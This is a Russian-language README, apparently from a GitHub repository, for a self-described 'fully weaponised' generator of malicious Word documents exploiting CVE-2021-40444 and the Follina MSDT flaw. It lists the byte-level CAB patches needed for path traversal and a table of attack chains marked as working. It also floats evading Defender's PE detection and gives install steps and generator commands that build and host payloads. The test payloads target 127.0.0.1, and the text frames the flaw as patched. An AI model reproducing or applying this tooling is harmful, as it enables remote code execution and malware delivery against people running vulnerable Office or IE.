
CVE-2021-40444 - Полностью боевой эксплойт RCE для Microsoft Office Word
Вредоносный генератор docx для эксплуатации CVE-2021-40444 (удалённое выполнение кода в Microsoft Office Word), работает с произвольными DLL-файлами.
Теперь генератор умеет создавать документы, необходимые для эксплуатации также атаки «Follina» (с использованием ms-msdt).
Хотя множество PoC уже есть в интернете, я решил попробовать самостоятельно вооружить эту уязвимость, так как найденные мной материалы не содержали ценной информации, которую стоило бы распространять, тем более что Microsoft уже выпустила патч для этой уязвимости.
На данный момент единственными ценными ресурсами для создания полностью работающего генератора я считаю:
Перечисленные выше ресурсы описывают многие требования, необходимые для построения полной цепочки. Чтобы не повторять лишнюю информацию, я лишь кратко изложу важные детали.
Существует довольно много упущенных из виду требований для работы этой эксплуатации, из-за которых даже хорошие PoC, например этот от lockedbyte, работали неправильно.
Возможно, никто явно не «публиковал» их, чтобы предотвратить более активную эксплуатацию уязвимости. Но теперь она заплатчена, так что раскрытие деталей не должно вызвать больших проблем.
Согласно этому твиту от Уилла Дорманна, HTML должен быть размером не менее 4096 байт, чтобы запустить «Предпросмотр» в MS Word.
CAB-файл необходимо пропатчить на уровне байтов, чтобы избежать ошибок извлечения и добиться ZipSlip:
filename.inf должен стать ../filename.inffilename.inf coffCabStartCFFOLDER.typeCompress CFFOLDER.coffCabStart должен быть увеличен на 3 (из-за добавления '../')CFFOLDER.cCfData CFFILE.cbFile должен быть больше всего CFHEADER.cbCabinetCFDATA.csum Причин для этих ограничений много, и у меня не было достаточно времени, чтобы глубоко разобраться во всех, но рассмотрим самые важные:
ПРИМЕЧАНИЕ1: Defender теперь обнаруживает, содержит ли CAB-файл PE, используя значение _IMAGE_DOS_HEADER.e_magic как
сигнатуру, что потенциально предотвращает внедрение PE-файлов в CAB. Можно ли обойти эту сигнатуру?
Я не уверен, но, как уже отмечалось, это заплаченная уязвимость, поэтому я не планирую тратить много времени
на это. Любопытному читателю предлагается развить эту идею.
ПРИМЕЧАНИЕ2: Патч Microsoft блокирует произвольные схемы URI, по-видимому, используя подход чёрного списка (это лишь предположение)
Основная цепочка атаки, связанная с CVE-2021-40444, — это атака через DLL, загружаемая через схему URI .cpl. Чтобы
эксплуатировать это, атакующему нужно создать специально сформированную DLL. Если хотите протестировать, попробуйте мой скрипт evildll-gen.
Как отметил Макс Малуин, можно взаимодействовать с несколькими типами файлов, злоупотребляя IE и связанным с расширением файлов URI. Хотя это может быть хорошим способом эксплуатации IE, у этого есть ограничения.
Действительно, следует отметить, что метод, используемый в эксплуатации для загрузки файлов, основан на обновлениях элементов управления ActiveX
и не может использоваться для загрузки произвольных файлов.
Согласно документации Microsoft документации, тег codebase
может указывать только на несколько типов файлов: OCX, INF и CAB.
Даже если мы можем напрямую загрузить OCX или INF-файл, мы всё ещё не можем быть уверены, что файл будет загружен в нужное место
в системе. С помощью эксплойта CAB можно переместить .inf файл в известный путь, используя обход пути,
но в любом другом случае файл будет сохранён в случайную директорию, что делает его практически невозможным для ссылки.
На сегодняшний день я не нашёл способа объединить загрузку и выполнение БЕЗ CAB-файла.
Примечание: Говоря только об IE, контрабанда HTML (HTML smuggling) может быть возможным сценарием для эксплуатации уязвимости.
Этот метод был впервые раскрыт Эдуардо Брауном в Twitter и далее объяснён в этой статье.
Обратите внимание, что при использовании этого метода цепочка атаки немного отличается. Эта атака требует, чтобы пользователь загрузил специально сформированный RAR-файл, полученный путём объединения корректного WSF-скрипта и корректного RAR-файла. После открытия RAR будет содержать DOCX со ссылкой на HTML, который, в свою очередь, попытается загрузить RAR-файл как WSF-скрипт.
Вкратце:
Утилита генератора в настоящее время может воспроизводить следующие атаки:
| Атака | Шаблоны HTML | Цель | Метод доставки | Метод выполнения | Работает |
|---|---|---|---|---|---|
| Оригинальная версия атаки | cab-orig-* | WORD | DOCX | CAB + DLL | ДА |
| Атака только через IE (j00sean) | cab-orig-j00san | IE | HTML | CAB + DLL | ДА |
| Моя версия без DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | НЕТ1 |
| Атака без CAB Эдуардо Б. с RAR | cabless-rar-* | WORD | RAR | WSF | ДА |
| Модифицированная атака j00sean + контрабанда HTML | cabless-smuggling-* | IE | HTML | JS/VBS | ДА2 |
| Атака Follina | cabless-msdt-* | WORD | DOCX/RTF | MSDT + PS | ДА3 |
1CAB не загружается должным образом в некоторых средах
2Пользователю нужно нажать «Сохранить», чтобы загрузить файл в IE
3Не совсем работает на всех версиях Windows/MS Word
Утилита cab_parser.py может использоваться для просмотра заголовков эксплойт-файла, но не считайте её полноценным
парсером. Это очень быстрый и грязный просмотрщик заголовков CAB, который я разработал, чтобы понять, что происходит.
Генератор предназначен для работы в Windows, так как использует утилиту makecab. Перед использованием установите необходимые зависимости:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
Генератор тривиален в использовании, и хотя он был протестирован с различными полезными нагрузками и версиями Windows, он не является безотказным. Я сталкиваюсь с разным поведением в разных сборках Windows. Как только у меня появятся более подробные данные, я опубликую их здесь.
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
Примечание: порт выбирается из URL, эксплойт генерируется на основе расширения файла полезной нагрузки
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert